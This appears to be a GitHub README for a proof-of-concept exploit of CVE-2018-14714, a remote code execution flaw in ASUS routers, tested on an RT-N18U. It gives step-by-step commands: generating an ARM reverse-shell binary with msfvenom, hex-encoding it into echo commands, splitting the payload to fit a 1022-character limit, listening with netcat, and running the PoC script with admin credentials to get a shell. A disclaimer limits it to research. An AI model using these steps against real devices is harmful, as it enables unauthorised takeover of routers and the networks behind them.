Skip to content

Files

Latest commit

7fc5f1d · Nov 8, 2024

History

History
This branch is 3 commits ahead of lolminerxmrig0001/Git:master.

CVE-2018-14714-RCE_exploit

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
Nov 8, 2024
Nov 8, 2024
Nov 8, 2024
Nov 8, 2024

CVE-2018-14714 RCE exploit

ASUS wifi router RCE vulnerability

This PoC is for learning and research purposes only. Do not use it for illegal activities; you are solely responsible for any legal consequences.

In the demonstration below, the tested device model is an ASUS RT-N18U, a router I purchased during my university years. It is now my test machine :)

Reverse Shell

You can use msfvenom command to generate a lightweight reverse shell binary executable. You can modify the parameters according to the kernel environment you are working with. In my case, it's armv7l, and the command is as follows:

$ msfvenom -p linux/armle/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f elf -o pwn.elf

Preliminary steps

Convert the generated binary file into binary data.

$ for i in `cat pwn.elf | xxd -p`;do echo -n $i;done

$ python3 -c 'a=input("binary data:");print("echo -ne \"",end="");print(*[f"\\x{a[i:i+2]}" for i in range(0,len(a),2)],sep="",end="");print("\"")'

How to execute?

To confirm the existence of a vulnerability on the target, rerun the Python script with the added shell parameters to enter an interactive pseudo-shell. Please note that it is normal if commands do not produce any output, as there is no place to receive stdout. However, using the sleep command can help you verify that the commands have indeed been executed.

Additionally, it is important to note that, based on testing, the command line allows a maximum of 1022 characters. You need to construct commands that are less than 1022 characters in length. Therefore, you will need to manually split the payload and execute it in parts to ensure our command runs successfully.

  • Next, let's obtain a real reverse shell. You can start by listening on the specified port.

    $ nc -lvnp 4444

  • Execute the Python PoC script to obtain a pseudo-shell for injecting the payload.

    $ python3 CVE-2018-14714-RCE_PoC.py admin admin shell

  • Finally, all that's left is to enjoy your acquired reverse shell :)